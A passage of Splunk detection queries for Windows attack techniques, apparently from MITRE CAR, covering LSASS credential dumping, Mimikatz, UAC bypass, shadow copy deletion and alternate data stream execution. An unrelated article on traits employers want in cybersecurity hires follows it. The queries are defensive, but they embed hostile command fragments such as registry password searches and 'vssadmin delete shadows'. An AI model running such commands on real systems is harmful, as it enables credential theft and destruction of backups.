msxsl.exe, which processes xsl transformation specifications for XML files and will execute a variaty of scripting languages contained within the XSL file. Both of these executables are rarely used outside of Visual Studio. (index=__your_sysmon_index__ EventCode=1) (Image="C:\\Program Files (x86)\\Microsoft Visual Studio\\*\\bin\\MSBuild.exe" OR Image="C:\\Windows\\Microsoft.NET\\Framework*\\msbuild.exe" OR Image="C:\\users\\*\\appdata\\roaming\\microsoft\\msxsl.exe") ParentImage!="*\\Microsoft Visual Studio*") 52- Compiled HTML Access Adversaries may hide malicious code in .chm compiled HTML files. When these files are read, Windows uses the HTML help executable named hh.exe, which is the signature for this analytic. (index=__your_sysmon_index__ EventCode=1) (Image="C:\\Windows\\syswow64\\hh.exe" OR Image="C:\\Windows\\system32\\hh.exe") 53- CMSTP CMSTP.exe is the Microsoft Connection Manager Profile Installer, which can be leveraged to setup listeners that will receive and install malware from remote sources in trusted fashion. When CMSTP.exe is seen in combination with an external connection, it is a good indication of this TTP. (index=__your_sysmon_index__ EventCode=3) Image="C:\\Windows\\System32\\CMSTP.exe" | where ((!cidrmatch("10.0.0.0/8", SourceIp) AND !cidrmatch("192.168.0.0/16", SourceIp) AND !cidrmatch("172.16.0.0/12", SourceIp)) 54- Registry Edit from Screensaver Adversaries may use screensaver files to run malicious code. This analytic triggers on suspicious edits to the screensaver registry keys, which dictate which .scr file the screensaver runs. index=your_sysmon_index (EventCode=12 OR EventCode=13 OR EventCode=14) TargetObject="*\\Software\\Policies\\Microsoft\\Windows\\Control Panel\\Desktop\\SCRNSAVE.EXE" 55- Scheduled Task - File Access In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows Task Scheduler to schedule a command to be run at a specified time, date, and even host. Task Scheduler stores tasks as files in two locations - C:\Windows\Tasks (legacy) or C:\Windows\System32\Tasks. Accordingly, this analytic looks for the creation of task files in these two locations. index=__your_sysmon_index__ EventCode=11 Image!="C:\\WINDOWS\\system32\\svchost.exe" (TargetFilename="C:\\Windows\\System32\\Tasks\\*" OR TargetFilename="C:\\Windows\\Tasks\\*") 56- Component Object Model Hijacking Adversaries may establish persistence or escalate privileges by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. This is typically done by replacing COM object registry entries under the HKEY_CURRENT_USER\Software\Classes\CLSID or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID keys. Accordingly, this analytic looks for any changes under these keys. index=__your_sysmon_index__ (EventCode=12 OR EventCode=13 OR EventCode=14) TargetObject="*\\Software\\Classes\\CLSID\\*" 57- Indicator Blocking - Driver Unloaded Adversaries may attempt to evade system defenses by unloading minifilter drivers used by host-based sensors such as Sysmon through the use of the fltmc command-line utility. Accordingly, this analytic looks for command-line invocations of this utility when used to unload minifilter drivers. index=client EventCode=1 CommandLine="*unload*" (Image="C:\\Windows\\SysWOW64\\fltMC.exe" OR Image="C:\\Windows\\System32\\fltMC.exe") 58- Credentials in Files & Registry Adversaries may search the Windows Registry on compromised systems for insecurely stored credentials for credential access. This can be accomplished using the query functionality of the reg.exe system utility, by looking for keys and values that contain strings such as “password”. In addition, adversaries may use toolkits such as PowerSploit in order to dump credentials from various applications such as IIS.Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several powersploit modules with similar functionality. ((index=__your_sysmon_index__ EventCode=1) OR (index=__your_win_syslog_index__ EventCode=4688)) (CommandLine="*reg* query HKLM /f password /t REG_SZ /s*" OR CommandLine="reg* query HKCU /f password /t REG_SZ /s" OR CommandLine="*Get-UnattendedInstallFile*" OR CommandLine="*Get-Webconfig*" OR CommandLine="*Get-ApplicationHost*" OR CommandLine="*Get-SiteListPassword*" OR CommandLine="*Get-CachedGPPPassword*" OR CommandLine="*Get-RegistryAutoLogon*") 59- AppInit DLLs Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. These values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes. Accordingly, this analytic looks for modifications to these registry keys that may be indicative of this type of abuse. index=__your_sysmon_index__ (EventCode=12 OR EventCode=13 OR EventCode=14) (TargetObject="*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*" OR TargetObject="*\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*") 60- NTFS Alternate Data Stream Execution - System Utilities NTFS Alternate Data Streams (ADSs) may be used by adversaries as a means of evading security tools by storing malicious data or binaries in file attribute metadata. ADSs are also powerful because they can be directly executed by various Windows tools; accordingly, this analytic looks at common ways of executing ADSs using system utilities such as powershell. NTFS ADS - PowerShell index=__sysmon_index__ EventCode=1 Image=C:\\Windows\\*\\powershell.exe|regex CommandLine="Invoke-CimMethod\s+-ClassName\s+Win32_Process\s+-MethodName\s+Create.*\b(\w+(\.\w+)?):(\w+(\.\w+)?)|-ep bypass\s+-\s+<.*\b(\w+(\.\w+)?):(\w+(\.\w+)?)|-command.*Get-Content.*-Stream.*Set-Content.*start-process .*(\w+(\.\w+)?)"NTFS ADS - wmic NTFS ADS - wmic index=__sysmon_index__ EventCode=1 Image=C:\\Windows\\*\\wmic.exe | regex CommandLine="process call create.*\"(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - rundll32 index=__sysmon_index__ EventCode=1 Image=C:\\Windows\\*\\rundll32.exe | regex CommandLine="\"?(\w+(\.\w+)?):(\w+(\.\w+)?)?\"?,\w+\|(advpack\.dll\|ieadvpack\.dll),RegisterOCX\s+(\w+\.\w+):(\w+(\.\w+)?)\|(shdocvw\.dll\|ieframe\.dll),OpenURL.*(\w+\.\w+):(\w+(\.\w+)?)" NTFS ADS - wscript/cscript index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\*\\wscript.exe OR Image=C:\\Windows\\*\\cscript.exe) | regex CommandLine="(?<!\/)\b\w+(\.\w+)?:\w+(\.\w+)?$" 61- NTFS Alternate Data Stream Execution - LOLBAS NTFS Alternate Data Streams (ADSs) may be used by adversaries as a means of evading security tools by storing malicious data or binaries in file attribute metadata. ADSs are also powerful because their contents can be directly executed by various Windows tools; accordingly, this analytic looks at common ways of executing ADSs using Living off the Land Binaries and Scripts (LOLBAS). NTFS ADS - control index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\System32\\control.exe OR Image=C:\\Windows\SysWOW64\\control.exe) | regex CommandLine="(\w+(\.\w+)?):(\w+\.dll)" NTFS ADS - appvlp index=__sysmon_index__ EventCode=1 (Image="C:\\Program Files\\Microsoft Office\\root\\Client\\AppVLP.exe" OR Image="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\AppVLP.exe") | regex CommandLine="(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - cmd index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\System32\\cmd.exe OR Image=C:\\Windows\\SysWOW64\\cmd.exe) | regex CommandLine="-\s+<.*\b(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - ftp index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\System32\\ftp.exe OR Image=C:\\Windows\\SysWOW64\\ftp.exe) | regex CommandLine="-s:(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - bash index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\System32\\bash.exe OR C:\\Windows\\SysWOW64\\bash.exe) | regex CommandLine="-c.*(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - mavinject index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\System32\\mavinject.exe OR C:\\Windows\\SysWOW64\\mavinject.exe) | regex CommandLine="\d+\s+\/INJECTRUNNING.*\b(\w+(\.\w+)?):(\w+(\.\w+)?)" NTFS ADS - bitsadmin index=__sysmon_index__ EventCode=1 (Image=C:\\Windows\\System32\\bitsadmin.exe OR C:\\Windows\\SysWOW64\\bitsadmin.exe) | regex CommandLine="\/create.*\/addfile.*\/SetNotifyCmdLine.*\b(\w+\.\w+):(\w+(\.\w+)?)" 62- Execution with AT In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows built-in command AT (at.exe) to schedule a command to be run at a specified time, date, and even host. This method has been used by adversaries and administrators alike. Its use may lead to detection of compromised hosts and compromised users if it is used to move laterally. The built-in Windows tool schtasks.exe (CAR-2013-08-001) offers greater flexibility when creating, modifying, and enumerating tasks. For these reasons, schtasks.exe is more commonly used by administrators, tools/scripts, and power users. index=__your_sysmon_index__ Image="C:\\Windows\\*\\at.exe"|stats values(CommandLine) as "Command Lines" by ComputerName 63- Running executables with same hash and different names Executables are generally not renamed, thus a given hash of an executable should only have ever one name. Identifying instances where multiple process names share the same hash may find cases where tools are copied by attackers to different folders or hosts to avoid detection. Although this analytic was initially based on MD5 hashes, it is equally applicable to any hashing convention. index=__your_sysmon_index__ EventCode=1|stats dc(Hashes) as Num_Hashes values(Hashes) as "Hashes" by Image|where Num_Hashes > 1 64- Suspicious Arguments Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters. index=__your_sysmon_index__ EventCode=1 (CommandLine="* -R * -pw*" OR CommandLine="* -pw * *@*" OR CommandLine="*sekurlsa*" OR CommandLine="* -hp *" OR CommandLine="* a *") 65- User Login Activity Monitoring Monitoring logon and logoff events for hosts on the network is very important for situational awareness. This information can be used as an indicator of unusual activity as well as to corroborate activity seen elsewhere. Could be applied to a number of different types of monitoring depending on what information is desired. Some use cases include monitoring for all remote connections and building login timelines for users. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. index=__your_win_event_log_index__ EventCode=4624|search NOT [search index=__your_win_event_log_index__ EventCode=4624|top 30 Account_Name|table Account_Name] 66- PowerShell Execution PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts. Powershell can be used to hide monitored command line execution such as: net use sc start index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\*\\powershell.exe" ParentImage!="C:\\Windows\\explorer.exe"|stats values(CommandLine) as "Command Lines" values(ParentImage) as "Parent Images" by ComputerName 67- Services launching Cmd Windows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed. To survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. Thus, services are a convenient way for an adversary to gain Persistence and Privilege Escalation. index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\*\\cmd.exe" ParentImage="C:\\Windows\\*\\services.exe" 68- Command Launched from WinLogon An adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. It should be used in tandem with CAR-2014-11-003, which detects the accessibility programs in the command line. index=__your_sysmon_index__ EventCode=1 ParentImage="C:\\Windows\\*\\winlogon.exe" Image="C:\\Windows\\*\\cmd.exe" 69- Host Discovery Commands When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally. Because these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white- or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically. index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName 70- Create Remote Process via WMIC Adversaries may use Windows Management Instrumentation (WMI) to move laterally, by launching executables remotely.The analytic CAR-2014-12-001 describes how to detect these processes with network traffic monitoring and process monitoring on the target host. However, if the command line utility wmic.exe is used on the source host, then it can additionally be detected on an analytic. The command line on the source host is constructed into something like wmic.exe /node:"\<hostname\>" process call create "\<command line\>". It is possible to also connect via IP address, in which case the string "\<hostname\>" would instead look like IP Address. Although this analytic was created after CAR-2014-12-001, it is a much simpler (although more limited) approach. Processes can be created remotely via WMI in a few other ways, such as more direct API access or the built-in utility index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\*\\wmic.exe" CommandLine="* process call create *"|search CommandLine="* /node:*" 71- UAC Bypass Bypassing user account control (UAC Bypass) is generally done by piggybacking on a system process that has auto-escalate privileges. This analytic looks to detect those cases as described by the open-source UACME tool. index=_your_sysmon_index_ EventCode=1 IntegrityLevel=High|search (ParentCommandLine="\"c:\\windows\\system32\\dism.exe\"*""*.xml" AND Image!="c:\\users\\*\\appdata\\local\\temp\\*\\dismhost.exe") OR ParentImage=c:\\windows\\system32\\fodhelper.exe OR (CommandLine="\"c:\\windows\\system32\\wusa.exe\"*/quiet*" AND User!=NOT_TRANSLATED AND CurrentDirectory=c:\\windows\\system32\\ AND ParentImage!=c:\\windows\\explorer.exe) OR CommandLine="*.exe\"*cleanmgr.exe /autoclean*" OR (ParentImage="c:\\windows\\*dccw.exe" AND Image!="c:\\windows\\system32\\cttune.exe") OR Image="c:\\program files\\windows media player\\osk.exe" OR ParentImage="c:\\windows\\system32\\slui.exe"|eval PossibleTechniques=case(like(lower(ParentCommandLine),"%c:\\windows\\system32\\dism.exe%"), "UACME #23", like(lower(Image),"c:\\program files\\windows media player\\osk.exe"), "UACME #32", like(lower(ParentImage),"c:\\windows\\system32\\fodhelper.exe"), "UACME #33", like(lower(CommandLine),"%.exe\"%cleanmgr.exe /autoclean%"), "UACME #34", like(lower(Image),"c:\\windows\\system32\\wusa.exe"), "UACME #36", like(lower(ParentImage),"c:\\windows\\%dccw.exe"), "UACME #37", like(lower(ParentImage),"c:\\windows\\system32\\slui.exe"), "UACME #45") 72- Generic Regsvr32 Regsvr32 can be used to execute arbitrary code in the context of a Windows signed binary, which can be used to bypass application whitelisting. This analytic looks for suspicious usage of the tool. It’s not likely that you’ll get millions of hits, but it does occur during normal activity so some form of baselining would be necessary for this to be an alerting analytic. Alternatively, it can be used for hunt by looking for new or anomalous DLLs manually. index=__your_sysmon_data__ EventCode=1 regsvr32.exe | search ParentImage="*regsvr32.exe" AND Image!="*regsvr32.exe*" 73- Squiblydoo Squiblydoo is a specific usage of regsvr32.dll to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It can be seen by looking for regsvr32.exe executions that load the scrobj.dll (which execute the COM scriptlet) or, if that is too noisy, those that also load content directly via HTTP or HTTPS. Squiblydoo was first written up by Casey Smith at Red Canary, though that blog post is no longer accessible. index=__your_sysmon_events__ EventCode=1 regsvr32.exe scrobj.dll | search Image="*regsvr32.exe" 74- Credential Dumping via Mimikatz Credential dumpers like Mimikatz can be loaded into memory and from there read data from another processes. This analytic looks for instances where processes are requesting specific permissions to read parts of the LSASS process in order to detect when credential dumping is occurring. One weakness is that all current implementations are “overtuned” to look for common access patterns used by Mimikatz. index=__your_sysmon_data__ EventCode=10 TargetImage="C:\\WINDOWS\\system32\\lsass.exe" (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418) CallTrace="C:\\windows\\SYSTEM32\\ntdll.dll+*|C:\\windows\\System32\\KERNELBASE.dll+20edd|UNKNOWN(*)" | table _time hostname user SourceImage GrantedAccess 75- Access Permission Modification Adversaries sometimes modify object access rights at the operating system level. There are varying motivations behind this action - they may not want some files/objects to be changed on systems for persistence reasons and therefore provide admin only rights; also, they may want files to be accessible with lower levels of permissions. index=__your_windows_security_log_index__ EventCode=4670 Object_Type="File" Security_ID!="NT AUTHORITY\\SYSTEM" 76- Lsass Process Dump via Procdump ProcDump is a sysinternal command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. ProcDump may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching procdump.exe as a privileged user with command line options indicating that lsass.exe should be dumped to a file with an arbitrary name. index=__your_sysmon_index__ EventCode=1 Image="*\\procdump*.exe" CommandLine="*lsass*" 77- Credential Dumping via Windows Task Manager The Windows Task Manager may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching Task Manager as a privileged user, selecting lsass.exe, and clicking “Create dump file”. This saves a dump file to disk with a deterministic name that includes the name of the process being dumped. index=__your_sysmon_index__ EventCode=11 TargetFilename="*lsass*.dmp" Image="C:\\Windows\\*\\taskmgr.exe" 78- Active Directory Dumping via NTDSUtil The NTDSUtil tool may be used to dump a Microsoft Active Directory database to disk for processing with a credential access tool such as Mimikatz. This is performed by launching ntdsutil.exe as a privileged user with command line arguments indicating that media should be created for offline Active Directory installation and specifying a folder path. This process will create a copy of the Active Directory database, ntds.dit, to the specified folder path. index=__your_sysmon_index__ EventCode=11 TargetFilename="*ntds.dit" Image="*ntdsutil.exe" 79- Shadow Copy Deletion The Windows Volume Shadow Copy Service is a built-in OS feature that can be used to create backup copies of files and volumes. Adversaries may delete these shadow copies, typically through the usage of system utilities such as vssadmin.exe or wmic.exe, in order prevent file and data recovery. This technique is commonly employed for this purpose by ransomware. Vssadmin.exe delete shadows index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\System32\\vssadmin.exe" CommandLine="*delete shadows*" WMIC shadowcopy delete index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\*\\wmic.exe" CommandLine="*shadowcopy delete*" 80- MiniDump of LSASS This analytic detects the minidump variant of credential dumping where a process opens lsass.exe in order to extract credentials using the Win32 API call MiniDumpWriteDump. Tools like SafetyKatz, SafetyDump, and Outflank-Dumpert default to this variant and may be detected by this analytic, though keep in mind that not all options for using those tools will result in this specific behavior. The analytic is based on a Sigma analytic contributed by Samir Bousseaden and written up in a blog on MENASEC. It looks for a call trace that includes either dbghelp.dll or dbgcore.dll, which export the relevant functions/permissions to perform the dump. It also detects using the Windows Task Manager (taskmgr.exe) to dump lsass, which is described in CAR-2019-08-001. In this iteration of the Sigma analytic, the GrantedAccess filter isn’t included because it didn’t seem to filter out any false positives and introduces the potential for evasion. index=__your_sysmon_index__ EventCode=10 TargetImage="C:\\windows\\system32\\lsass.exe" (CallTrace="*dbghelp.dll*" OR CallTrace="*dbgcore.dll*")| table _time host SourceProcessId SourceImage 81- Rare LolBAS Command Lines LoLBAS are binaries and scripts that are built in to Windows, frequently are signed by Microsoft, and may be used by an attacker. Some LoLBAS are used very rarely and it might be possible to alert every time they’re used (this would depend on your environment), but many others are very common and can’t be simply alerted on. This analytic takes all instances of LoLBAS execution and then looks for instances of command lines that are not normal in the environment. This can detect attackers (which will tend to need the binaries for something different than normal usage) but will also tend to have false positives. The analytic needs to be tuned. The 1.5 in the query is the number of standard deviations away to look. It can be tuned up to filter out more noise and tuned down to get more results. This means it is probably best as a hunting analytic when you have analysts looking at the screen and able to tune the analytic up and down, because the threshold may not be stable for very long. index=__your_sysmon_index__ EventCode=1 (OriginalFileName = At.exe OR OriginalFileName = Atbroker.exe OR OriginalFileName = Bash.exe OR OriginalFileName = Bitsadmin.exe OR OriginalFileName = Certutil.exe OR OriginalFileName = Cmd.exe OR OriginalFileName = Cmdkey.exe OR OriginalFileName = Cmstp.exe OR OriginalFileName = Control.exe OR OriginalFileName = Csc.exe OR OriginalFileName = Cscript.exe OR OriginalFileName = Dfsvc.exe OR OriginalFileName = Diskshadow.exe OR OriginalFileName = Dnscmd.exe OR OriginalFileName = Esentutl.exe OR OriginalFileName = Eventvwr.exe OR OriginalFileName = Expand.exe OR OriginalFileName = Extexport.exe OR OriginalFileName = Extrac32.exe OR OriginalFileName = Findstr.exe OR OriginalFileName = Forfiles.exe OR OriginalFileName = Ftp.exe OR OriginalFileName = Gpscript.exe OR OriginalFileName = Hh.exe OR OriginalFileName = Ie4uinit.exe OR OriginalFileName = Ieexec.exe OR OriginalFileName = Infdefaultinstall.exe OR OriginalFileName = Installutil.exe OR OriginalFileName = Jsc.exe OR OriginalFileName = Makecab.exe OR OriginalFileName = Mavinject.exe OR OriginalFileName = Microsoft.Workflow.r.exe OR OriginalFileName = Mmc.exe OR OriginalFileName = Msbuild.exe OR OriginalFileName = Msconfig.exe OR OriginalFileName = Msdt.exe OR OriginalFileName = Mshta.exe OR OriginalFileName = Msiexec.exe OR OriginalFileName = Odbcconf.exe OR OriginalFileName = Pcalua.exe OR OriginalFileName = Pcwrun.exe OR OriginalFileName = Presentationhost.exe OR OriginalFileName = Print.exe OR OriginalFileName = Reg.exe OR OriginalFileName = Regasm.exe OR OriginalFileName = Regedit.exe OR OriginalFileName = Register-cimprovider.exe OR OriginalFileName = Regsvcs.exe OR OriginalFileName = Regsvr32.exe OR OriginalFileName = Replace.exe OR OriginalFileName = Rpcping.exe OR OriginalFileName = Rundll32.exe OR OriginalFileName = Runonce.exe OR OriginalFileName = Runscripthelper.exe OR OriginalFileName = Sc.exe OR OriginalFileName = Schtasks.exe OR OriginalFileName = Scriptrunner.exe OR OriginalFileName = SyncAppvPublishingServer.exe OR OriginalFileName = Tttracer.exe OR OriginalFileName = Verclsid.exe OR OriginalFileName = Wab.exe OR OriginalFileName = Wmic.exe OR OriginalFileName = Wscript.exe OR OriginalFileName = Wsreset.exe OR OriginalFileName = Xwizard.exe OR OriginalFileName = Advpack.dll OR OriginalFileName = Comsvcs.dll OR OriginalFileName = Ieadvpack.dll OR OriginalFileName = Ieaframe.dll OR OriginalFileName = Mshtml.dll OR OriginalFileName = Pcwutl.dll OR OriginalFileName = Setupapi.dll OR OriginalFileName = Shdocvw.dll OR OriginalFileName = Shell32.dll OR OriginalFileName = Syssetup.dll OR OriginalFileName = Url.dll OR OriginalFileName = Zipfldr.dll OR OriginalFileName = Appvlp.exe OR OriginalFileName = Bginfo.exe OR OriginalFileName = Cdb.exe OR OriginalFileName = csi.exe OR OriginalFileName = Devtoolslauncher.exe OR OriginalFileName = dnx.exe OR OriginalFileName = Dxcap.exe OR OriginalFileName = Excel.exe OR OriginalFileName = Mftrace.exe OR OriginalFileName = Msdeploy.exe OR OriginalFileName = msxsl.exe OR OriginalFileName = Powerpnt.exe OR OriginalFileName = rcsi.exe OR OriginalFileName = Sqler.exe OR OriginalFileName = Sqlps.exe OR OriginalFileName = SQLToolsPS.exe OR OriginalFileName = Squirrel.exe OR OriginalFileName = te.exe OR OriginalFileName = Tracker.exe OR OriginalFileName = Update.exe OR OriginalFileName = vsjitdebugger.exe OR OriginalFileName = Winword.exe OR OriginalFileName = Wsl.exe OR OriginalFileName = CL_Mutexverifiers.ps1 OR OriginalFileName = CL_Invocation.ps1 OR OriginalFileName = Manage-bde.wsf OR OriginalFileName = Pubprn.vbs OR OriginalFileName = Slmgr.vbs OR OriginalFileName = Syncappvpublishingserver.vbs OR OriginalFileName = winrm.vbs OR OriginalFileName = Pester.bat)|eval CommandLine=lower(CommandLine)|eventstats count(process) as procCount by process|eventstats avg(procCount) as avg stdev(procCount) as stdev|eval lowerBound=(avg-stdev*1.5)|eval isOutlier=if((procCount < lowerBound),1,0)|where isOutlier=1|table host, Image, ParentImage, CommandLine, ParentCommandLine, procCount References: Splunk How-To car.mitre.org Analytics

10 Most Desired Traits for Cyber Security Job Candidates Finding a good candidate, or possibly any candidate, to fill one of the thousands of open cybersecurity positions available is one of the greatest challenges facing security executives today. So with that in mind, we asked some of the top names in the industry what traits they look for in a job applicant. Here are the top ten most desired cybersecurity traits: 1. Continuous Learner Shamla Naidoo, Chief Information Security Officer, IBM “The cybersecurity landscape is evolving continuously and rapidly, and therefore the most important quality I look for in a security hire is someone who can do the same – someone with a natural curiosity that will lead to continual learning. The security workforce needs people who will be a part of inventing the solutions that will keep us safe not only today but in the future. For me, it’s about hiring someone who has intellectual depth but is willing to learn from others, without ego – not just experience to perform the role. I look for demonstrable willingness to learn new things and think outside of the box, with specific examples of where they’ve done this successfully in the past.” 2. Persistence Reg Harnish, CEO of GreyCastle Security “The most important quality I look for when hiring new talent is persistence. Are they determined? Do they have the gumption to do the job right? In the cybersecurity world, the problems people face are not only ever-changing, but also very difficult to start with, so persistence is key. Additionally, a certain level of persistence requires confidence, which is a must in this industry, as security consultants have to deal with the full gamut of employees, from CEOs and board-level executives to end users. There’s no time to second guess yourself.” 3. Curious and Perceptive Renee Walrath, Founder of Walrath Recruiting “To work in cybersecurity, curiosity is an absolutely essential trait. Anyone who gets comfortable in fighting off threats in the same fashion will quickly be outdated, and subject to breaches. To be successful you have to be curious, and seek out new weaknesses before they become weaknesses. A cybersecurity professional needs to be a continuous learner to stay one step ahead of external threats. Proactively learning and updating systems is the only way to stay ahead.” Perceptive- “A good cyber security professional needs to see problems from both sides. They have to be in the mindset of the company, thinking of what they want to protect. They also have to look through the lens of an external threat and perceive any weaknesses or places to attack. Having both perspectives will make it easier to build a strategy to defend against an external threat.” 4. Cerebral, Instinctive and Emotional Chris Drake, CEO Armor “The dynamic nature of cybersecurity dictates that a person will need to wear a variety of hats and excel in diverse areas to be successful. While tangible skills like these are critical, there are several intangible characteristics that can serve as the foundation for rising above the crowd, including: Cerebral – intelligence, process and reason Instinctive – innate desire, awareness, quick thinking Emotional – heart, passion, sense of duty, pride, morality, justice It doesn’t stop there, however. Working in cybersecurity is different from other sectors of IT. There is a tremendous amount of collaboration across various disciplines, which requires qualities that might not be as significant in other IT roles. This includes attributes such as creativity, confidence, focus, reliability and humility. Interestingly, we’ve found that those with musical talent have an innate ability to synchronize these skills and emerge as a solid security expert.” 5. Having a well-rounded skillset Scott Laliberte, managing director, Protiviti “These skills range from cyber governance and related soft skills to technical skills, such as penetration testing, hardware/ IOT security, industrial control system security, secure development and code review, network security, identity and access management, etc. The ability to communicate issues in non-technical terms that business people can understand. This is a key attribute in attaining leadership positions in this field. Finding a candidate that has a balance of strong technical skills, business acumen and communication aptitude is extremely rare, but those candidates will go very far.” 6. Can work under the gun, attention to detail Michael Potters (right), the CEO of Glenmont Group “The ability to work at speed, under pressure, to make decisions in real time and with reliable accuracy and to be able to work in a global environment and drive change.” 7. Think like a black hat Domini Clark, principal, Blackmere Consulting “The ability to think like a ‘bad guy’ enables security professionals to anticipate what hackers might try, and to identify weak points in system defenses. This ability is sometimes lovingly referred to as the ‘evil bit’ (as in bits and bytes) which seems to be coded into the personalities of many industry superstars.” 8. Analytical Tim Erlin, VP, Tripwire “Being analytical, curious and a good communicator are just some of the attributes that make a good cybersecurity professional. If you have the right systems in place, there is no reason not to hire someone who has these skills and teach them the technical skills later. There is an abundance of IT talent that wants to break into this sector and there are many diamonds in the rough that can be mentored and nurtured into future stars. Moving forward, we need a change in mindset quickly otherwise this issue will scale out of hand.” We know that companies are seeking the perfect candidate who has 5-10 years’ experience and several certifications for an entry-level position. This is an impractical and damaging approach to hiring as we are substantially restricting the pool of potential candidates. 9. Military veteran Stephan Tallent, senior director of managed security service providers, Fortinet “They have the proven ability to learn new skills and concepts, which makes them ideal candidates. And many have been trained in the use of some of the most advanced technologies in the world. Performance under pressure is another big differentiator for veterans. They have a capacity to accomplish priorities on time and they know the critical importance of staying with a task until it is done right. And like active military duty, cybersecurity is detail- and process-oriented, often with extreme consequences for failure. Additionally, military duties involve a blend of individual and group productivity, they can function as both a highly effective team operator as well as an individual contributor. As a bonus, many veterans come with highly sought-after security clearances already in place.” 10. Willingness to continuously develop skills Rob Clyde, ISACA Board Member “About 70 percent of organizations require cyber-security applicants to have a cyber-security certification. Therefore, an increased emphasis on and investment in training and professional development is a must. Hiring personnel and giving them the chance to develop that experience would go a long way toward raising cyber capabilities across all industries. While having a realistic sense of cyber professionals’ market value is a must, investment in professional development opportunities and job rotation to help round out skills and minimize frustration with repetitive tasks also can incentivize employees to stay for longer periods. Retaining and providing professional development to employees help organizations be prepared to meet cyber-security challenges head-on.”

